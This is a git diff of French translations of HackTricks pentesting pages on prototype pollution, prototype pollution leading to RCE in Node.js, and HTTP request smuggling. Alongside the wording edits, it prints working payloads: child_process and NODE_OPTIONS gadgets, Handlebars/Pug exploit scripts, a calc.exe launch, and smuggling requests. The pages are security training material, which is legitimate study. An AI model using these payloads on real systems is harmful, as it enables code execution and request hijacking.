@ -201,13 +201,17 @@ Les conditions dans lesquelles cette attaque peut être exécutée avec succès,
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Pollution du prototype pour RCE
### Pollution du prototype vers RCE
{% content-ref url="prototype-pollution-to-rce.md" %}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %}
## Pollution du prototype côté client pour XSS
Autres charges utiles :
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Pollution du prototype côté client vers XSS
{% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
@ -220,7 +224,7 @@ customer.__proto__.toString = ()=>{alert("polluted")}
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```
Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques potentiels en matière de sécurité, tels que l'accès administrateur non autorisé si des propriétés comme `isAdmin` sont vérifiées sans une vérification d'existence appropriée.
Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques de sécurité potentiels, tels que l'accès administrateur non autorisé si des propriétés comme `isAdmin` sont vérifiées sans une vérification d'existence appropriée.
### CVE-2018-3721, CVE-2019-10744 : Attaque de pollution de prototype via lodash
@ -239,19 +243,19 @@ Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment
### Pollution de Prototype AST en NodeJS
NodeJS utilise largement les Arbres de Syntaxe Abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de modèles et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de modèles, en particulier Handlebars et Pug.
NodeJS utilise largement les Arbres de Syntaxe Abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de template et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de template, en particulier Handlebars et Pug.
#### Analyse de la Vulnérabilité de Handlebars
Le moteur de modèles Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier `javascript-compiler.js`. Par exemple, la fonction `appendContent` concatène `pendingContent` si elle est présente, tandis que la fonction `pushSource` réinitialise `pendingContent` à `undefined` après avoir ajouté la source.
Le moteur de template Handlebars est vulnérable à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier `javascript-compiler.js`. La fonction `appendContent`, par exemple, concatène `pendingContent` si elle est présente, tandis que la fonction `pushSource` réinitialise `pendingContent` à `undefined` après avoir ajouté la source.
**Processus d'Exploitation**
L'exploitation tire parti de l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, en suivant ces étapes :
L'exploitation utilise l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, en suivant ces étapes :
1. **Manipulation du Parseur** : Initialement, le parseur, via le nœud `NumberLiteral`, impose que les valeurs soient numériques. La pollution de prototype peut contourner cela, permettant l'insertion de chaînes non numériques.
2. **Traitement par le Compilateur** : Le compilateur peut traiter un objet AST ou un modèle de chaîne. Si `input.type` est égal à `Program`, l'entrée est traitée comme pré-analysée, ce qui peut être exploité.
3. **Injection de Code** : En manipulant `Object.prototype`, on peut injecter du code arbitraire dans la fonction de modèle, ce qui peut entraîner une exécution de code à distance.
3. **Injection de Code** : En manipulant `Object.prototype`, on peut injecter un code arbitraire dans la fonction de modèle, ce qui peut entraîner l'exécution de code à distance.
Un exemple illustrant l'exploitation de la vulnérabilité de Handlebars :
```javascript
@ -278,9 +282,9 @@ console.log(eval('(' + template + ')')['main'].toString());
```
Ce code montre comment un attaquant pourrait injecter du code arbitraire dans un modèle Handlebars.
**Référence externe**: Un problème lié à la pollution de prototype a été trouvé dans la bibliothèque 'flat', comme détaillé ici: [Problème sur GitHub](https://github.com/hughsk/flat/issues/105).
**Référence Externe**: Un problème lié à la pollution de prototype a été trouvé dans la bibliothèque 'flat', comme détaillé ici: [Problème sur GitHub](https://github.com/hughsk/flat/issues/105).
**Référence externe**: [Problème lié à la pollution de prototype dans la bibliothèque 'flat'](https://github.com/hughsk/flat/issues/105)
**Référence Externe**: [Problème lié à la pollution de prototype dans la bibliothèque 'flat'](https://github.com/hughsk/flat/issues/105)
Exemple d'exploitation de la pollution de prototype en Python:
```python
@ -312,7 +316,7 @@ requests.get(TARGET_URL)
Pug, un autre moteur de template, est confronté à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [l'injection AST dans Pug](https://blog.p6.is/AST-Injection/#Pug).
Exemple de pollution de prototype dans Pug:
Exemple de pollution de prototype dans Pug :
```python
import requests
@ -333,16 +337,16 @@ requests.get(TARGET_URL)
Pour réduire le risque de pollution de prototype, les stratégies énumérées ci-dessous peuvent être mises en œuvre :
1. **Immutabilité des Objets** : L'`Object.prototype` peut être rendu immuable en appliquant `Object.freeze`.
1. **Immutabilité des Objets** : Le `Object.prototype` peut être rendu immuable en appliquant `Object.freeze`.
2. **Validation des Entrées** : Les entrées JSON doivent être rigoureusement validées par rapport au schéma de l'application.
3. **Fonctions de Fusion Sécurisées** : L'utilisation non sécurisée de fonctions de fusion récursives doit être évitée.
3. **Fonctions de Fusion Sécurisées** : L'utilisation non sécurisée de fonctions de fusion récursive doit être évitée.
4. **Objets sans Prototype** : Des objets sans propriétés de prototype peuvent être créés en utilisant `Object.create(null)`.
5. **Utilisation de Map** : Au lieu d'`Object`, `Map` devrait être utilisé pour stocker des paires clé-valeur.
6. **Mises à Jour des Bibliothèques** : Les correctifs de sécurité peuvent être incorporés en mettant régulièrement à jour les bibliothèques.
7. **Outils de Linting et d'Analyse Statique** : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.
7. **Outils Linter et d'Analyse Statique** : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.
8. **Revues de Code** : Mettez en place des revues de code approfondies pour identifier et remédier aux risques potentiels liés à la pollution de prototype.
9. **Formation en Sécurité** : Sensibilisez les développeurs aux risques de pollution de prototype et aux meilleures pratiques pour écrire un code sécurisé.
10. **Utilisation Prudente des Bibliothèques** : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture en matière de sécurité et examinez leur code, en particulier ceux qui manipulent des objets.
9. **Formation à la Sécurité** : Sensibilisez les développeurs aux risques de pollution de prototype et aux meilleures pratiques pour écrire un code sécurisé.
10. **Utilisation Prudente des Bibliothèques** : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture de sécurité et examinez leur code, en particulier ceux qui manipulent des objets.
11. **Protection à l'Exécution** : Employez des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.
## Références

66
pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
View file

@ -1,15 +1,15 @@
# Exploitation de la pollution de prototype pour RCE
# Pollution du prototype pour RCE
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -73,15 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Vérifiez ce code, vous pouvez voir qu'il est possible de **empoisonner `envPairs`** simplement en **polluant** l'**attribut `.env`.**
Vérifiez ce code, vous pouvez voir qu'il est possible de **empoisonner `envPairs`** simplement en **polluant** l'attribut **`.env`.**
### **Empoisonnement de `__proto__`**
{% hint style="warning" %}
Notez que en raison de la façon dont la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node fonctionne, lorsque quelque chose est appelé pour **définir une nouvelle variable d'environnement** pour le processus, il vous suffit de **polluer n'importe quoi**.\
Notez que en raison du fonctionnement de la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node, lorsque quelque chose est appelé pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` avec la valeur `valuevar`.
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'attribut **`.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
C'est pourquoi **`NODE_OPTIONS`** n'est **pas à l'intérieur de `.env`** dans l'attaque suivante.
{% endhint %}
@ -108,8 +108,6 @@ clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```
{% endcode %}
### Empoisonnement de `constructor.prototype`
```javascript
const { execSync, fork } = require('child_process');
@ -131,9 +129,9 @@ clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2
```
## PP2RCE via env vars + cmdline
## PP2RCE via variables d'environnement + ligne de commande
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**cet article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**ce compte rendu**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
* Au lieu de stocker la **charge utile** nodejs à l'intérieur du fichier `/proc/self/environ`, elle est stockée à l'intérieur de argv0 de **`/proc/self/cmdline`**.
* Ensuite, au lieu de nécessiter via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **nécessite `/proc/self/cmdline`**.
@ -162,7 +160,7 @@ var proc = fork('a_file.js');
## Interaction DNS
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE_OPTIONS que nous avons discutée précédemment et de détecter si cela a fonctionné avec une interaction DNS :
En utilisant les charges utiles suivantes, il est possible d'abuser de la variable d'environnement NODE_OPTIONS que nous avons précédemment discutée et de détecter si elle a fonctionné avec une interaction DNS :
```json
{
"__proto__": {
@ -182,15 +180,13 @@ Ou, pour éviter que les WAF ne demandent le domaine :
}
}
```
## Vulnérabilité PP2RCE fonctions child\_process
## Vuln PP2RCE fonctions child\_process
Dans cette section, nous allons analyser **chaque fonction de `child_process`** pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :
Dans cette section, nous allons analyser **chaque fonction de `child_process`** pour exécuter du code et voir si nous pouvons utiliser une technique quelconque pour forcer cette fonction à exécuter du code :
<details>
<summary><code>exec</code> exploitation</summary>
{% code overflow="wrap" %}
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -215,6 +211,8 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```
</details>
<details>
<summary><strong><code>execFile</code> exploitation</strong></summary>
@ -463,20 +461,20 @@ var proc = spawnSync('something');
</details>
## Forcing Spawn
## Forcer Spawn
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui **appelle `spawn`** nécessite qu'une **fonctionnalité soit présente** (toutes les méthodes de **`child_process`** utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait **partie du code**, mais que se passe-t-il si le code ne l'appelle pas.
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui **appelle `spawn`** doit être **présente** (toutes les méthodes de **`child_process`** utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait **partie du code**, mais que se passe-t-il si le code ne l'appelle pas.
### Contrôler un chemin de fichier requis
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit simplement **trouver un fichier `.js` à l'intérieur du système** qui **exécutera une méthode spawn lors de son importation.**\
Certains exemples de fichiers courants appelant une fonction spawn lors de leur importation sont :
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit simplement **trouver un fichier `.js` à l'intérieur du système** qui **exécutera une méthode spawn lors de l'importation.**\
Certains exemples de fichiers courants appelant une fonction spawn lors de l'importation sont :
* /chemin/vers/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Trouvez **plus de fichiers ci-dessous**
Le script simple suivant recherchera les **appels** de **child\_process** **sans aucun remplissage** (pour éviter d'afficher les appels à l'intérieur des fonctions):
Le script simple suivant recherchera des **appels** de **child\_process** **sans aucun rembourrage** (pour éviter d'afficher des appels à l'intérieur de fonctions) :
{% code overflow="wrap" %}
```bash
@ -503,15 +501,15 @@ done
</details>
### Définition du chemin du fichier requis via la pollution de prototype
### Définition du chemin du fichier requis via la pollution du prototype
{% hint style="warning" %}
La **technique précédente nécessite** que **l'utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours vrai.
{% endhint %}
Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un autre en abusant de la pollution de prototype**. Ainsi, même si la ligne de code est `require("./a_file.js")` ou `require("bytes")`, elle **requerra le package que vous avez pollué**.
Cependant, si le code doit exécuter un require après la pollution du prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer l'utilisation d'un autre en abusant de la pollution du prototype**. Ainsi, même si la ligne de code est `require("./a_file.js")` ou `require("bytes")`, il **requerra le package que vous avez pollué**.
Par conséquent, si un require est exécuté après votre pollution de prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
Par conséquent, si un require est exécuté après votre pollution du prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
* Trouvez un **fichier `.js` dans le système** qui, lorsqu'il est **requis**, **exécutera quelque chose en utilisant `child_process`**
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier de ce type
@ -600,7 +598,7 @@ fork('/path/to/anything');
{% endtab %}
{% endtabs %}
#### Require relatif - 2
#### Requête relative - 2
{% tabs %}
{% tab title="exploit" %}
@ -638,7 +636,10 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```
#### Relative require - 3
{% endtab %}
{% endtabs %}
#### Require relatif - 3
Similaire au précédent, celui-ci a été trouvé dans [**cette publication**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
@ -666,16 +667,17 @@ Cependant, comme les méthodes précédentes de **`child_process`**, cela a ét
## Corrections et protections inattendues
Veuillez noter que la pollution de prototype fonctionne si l'**attribut** d'un objet qui est accédé est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous **ne pourrez pas l'écraser**.
Veuillez noter que la pollution du prototype fonctionne si l'**attribut** d'un objet qui est accédé est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous **ne pourrez pas l'écraser**.
En juin 2022, à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu de `{}` est un **`kEmptyObject`**. Ce qui **empêche une pollution de prototype** d'affecter les **attributs** de **`options`** pour obtenir une RCE.\
En juin 2022, à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu de `{}` est un **`kEmptyObject`**. Ce qui **empêche une pollution du prototype** d'affecter les **attributs** de **`options`** pour obtenir une RCE.\
Au moins à partir de la version 18.4.0, cette protection a été **implémentée**, et donc les **exploits** `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée!).
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution de prototype** de **`contextExtensions`** de la bibliothèque vm a été **également corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`.**
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution du prototype** de **`contextExtensions`** de la bibliothèque vm a été **également corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`.**
### **Autres Gadgets**
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Références
@ -692,8 +694,8 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

126
pentesting-web/http-request-smuggling/README.md
View file

@ -1,4 +1,4 @@
# Attaque de Smuggling de Requête HTTP / Attaque de Désynchronisation HTTP
# Attaque de Demande HTTP Smuggling / Désynchronisation HTTP
<details>
@ -16,14 +16,14 @@ Autres façons de soutenir HackTricks :
## Qu'est-ce que c'est
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une requête HTTP qui sera **interprétée** comme une **seule requête** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 requêtes** par le **serveur back-end**.\
Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au serveur back-end après la sienne**.
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une **demande HTTP** qui sera **interprétée** comme une **seule demande** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 demandes** par le **serveur back-end**.\
Cela permet à un utilisateur de **modifier la prochaine demande qui arrive au serveur back-end après la sienne**.
### Théorie
[**Spécification RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.
> Si un message est reçu à la fois avec un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.
**Content-Length**
@ -32,20 +32,20 @@ Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au
**Transfer-Encoding: chunked**
> L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\
> Chunked signifie que de grandes données sont envoyées sous forme de séries de morceaux.
> Chunked signifie que des données volumineuses sont envoyées sous forme de séries de morceaux.
### Réalité
Le **Front-End** (un équilibreur de charge / Proxy Inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le **serveur Back-End** **traite l'autre** provoquant une **désynchronisation** entre les 2 systèmes.\
Cela pourrait être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le **serveur back-end comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le **serveur back-end interprétera la 2ème requête injectée** comme si elle **venait du client suivant** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
Le **Front-End** (un équilibreur de charge / Proxy Inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le **serveur Back-end** **traite l'autre** provoquant une **désynchronisation** entre les 2 systèmes.\
Cela pourrait être très critique car **un attaquant pourra envoyer une demande** au proxy inverse qui sera **interprétée** par le **serveur back-end comme 2 demandes différentes**. Le **danger** de cette technique réside dans le fait que le **serveur back-end interprétera la 2ème demande injectée** comme si elle **venait du prochain client** et la **vraie demande** de ce client fera **partie** de la **demande injectée**.
### Particularités
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain chunk**. Le **chunk** doit se **terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **chunk de taille 0 suivi de 2 nouvelles lignes** : `0`
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête du Smuggling de Requête.
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la demande. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la demande**.
* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain morceau**. Le **morceau** doit se **terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première demande de la demande de Smuggling.
## Exemples de Base
@ -53,7 +53,7 @@ Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 oct
Lorsque vous essayez d'exploiter cela avec Burp Suite, **désactivez `Mettre à jour la longueur du contenu` et `Normaliser les fins de ligne HTTP/1`** dans le répéteur car certains gadgets abusent des sauts de ligne, des retours chariot et des longueurs de contenu mal formées.
{% endhint %}
Les attaques de Smuggling de Requête HTTP sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même requête par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
Les attaques de demande de Smuggling HTTP sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en tant que **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
### Exemples de Types de Vulnérabilités de Base
@ -61,12 +61,12 @@ Les attaques de Smuggling de Requête HTTP sont élaborées en envoyant des requ
#### Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
* **Front-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
* **Back-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
* **Front-End (CL) :** Traite la demande en fonction de l'en-tête `Content-Length`.
* **Back-End (TE) :** Traite la demande en fonction de l'en-tête `Transfer-Encoding`.
* **Scénario d'attaque :**
* L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
* Le serveur front-end transmet la requête entière au serveur back-end, en fonction de la valeur de `Content-Length`.
* Le serveur back-end traite la requête en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête distincte et ultérieure.
* L'attaquant envoie une demande où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
* Le serveur front-end transmet la demande entière au serveur back-end, en fonction de la valeur de `Content-Length`.
* Le serveur back-end traite la demande en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une demande séparée et ultérieure.
* **Exemple :**
```
@ -84,12 +84,12 @@ Foo: x
#### Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
* **Front-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
* **Back-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
* **Front-End (TE) :** Traite la demande en fonction de l'en-tête `Transfer-Encoding`.
* **Back-End (CL) :** Traite la demande en fonction de l'en-tête `Content-Length`.
* **Scénario d'attaque :**
* L'attaquant envoie une requête en morceaux où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas.
* Le serveur front-end, respectant `Transfer-Encoding`, transmet la requête entière au serveur back-end.
* Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la requête (`7b` octets), laissant le reste comme partie d'une requête ultérieure non intentionnelle.
* L'attaquant envoie une demande fragmentée où la taille du fragment (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas.
* Le serveur front-end, respectant `Transfer-Encoding`, transmet la demande entière au serveur back-end.
* Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la demande (`7b` octets), laissant le reste comme faisant partie d'une demande ultérieure non intentionnelle.
* **Exemple :**
```
@ -138,7 +138,7 @@ Transfer-Encoding
#### **Scénario CL.CL (Content-Length utilisé par à la fois le Front-End et le Back-End) :**
* Les deux serveurs traitent la requête uniquement en fonction de l'en-tête `Content-Length`.
* Ce scénario ne conduit généralement pas à un trafic illicite, car il y a une concordance dans la façon dont les deux serveurs interprètent la longueur de la requête.
* Ce scénario ne conduit généralement pas au trafic illicite, car il y a une concordance dans la façon dont les deux serveurs interprètent la longueur de la requête.
* **Exemple :**
```
@ -165,9 +165,15 @@ Connection: keep-alive
Corps non vide
```
#### Casser le serveur web
Cette technique est également utile dans les scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
Par exemple, comme expliqué dans [**ce compte-rendu**](https://mizu.re/post/twisty-python), avec Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela faisait **planter** le serveur. Cependant, si la connexion HTTP était créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne serait pas lu et la connexion resterait ouverte, donc le **corps** de la requête serait traité comme la **prochaine requête HTTP**.
#### Forcer via les en-têtes hop-by-hop
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin de permettre un trafic illicite dans une requête HTTP**.
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour qu'une attaque de trafic illicite HTTP soit possible à exploiter**.
```
Connection: Content-Length
```
@ -199,7 +205,7 @@ A
0
```
* **Observation :**
* Le serveur frontal traite la requête en fonction de `Content-Length` et coupe le message prématurément.
* Le serveur front-end traite la requête en fonction de `Content-Length` et coupe le message prématurément.
* Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un retard.
* **Indicateurs :**
* Délais d'attente ou longs retards dans la réponse.
@ -222,7 +228,7 @@ Content-Length: 6
X
```
* **Observation :**
* Le serveur frontal traite la requête en fonction de `Transfer-Encoding` et transmet l'ensemble du message.
